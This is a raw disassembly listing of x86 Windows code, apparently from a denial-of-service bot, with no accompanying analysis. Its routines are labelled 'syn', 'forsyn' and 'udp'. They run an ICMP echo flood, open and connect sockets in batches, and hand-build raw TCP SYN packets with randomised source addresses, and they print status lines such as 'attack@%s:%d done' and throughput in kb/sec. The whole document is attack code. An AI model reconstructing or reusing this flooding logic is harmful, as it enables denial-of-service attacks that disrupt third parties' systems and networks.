loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E13C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E144	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DBF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E671F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D4Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E14C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E34C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		call	near ptr 2780709h
		nop
		test	eax, eax
		mov	dword_50E350, eax
		jz	short loc_426B9B
		push	offset dword_446F64
		push	5
		push	eax
		push	0
		push	offset dword_50E14C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D4Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		call	near ptr 71AB406Ah
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2830000h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6765[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		call	near ptr 27E0716h
		nop
		mov	[esp+48h], eax
		mov	al, byte_4D64E9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp
		push	14h
		mov	[esp+3Ah], ax
		call	ebp
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		call	near ptr 71AB2BC0h
		nop
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp
		mov	[esp+34h], ax
		call	ebx
		mov	edi, eax
		shl	edi, 10h
		call	ebx
		or	edi, eax
		push	edi
		call	ebp
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27E0716h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0E9A00240h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
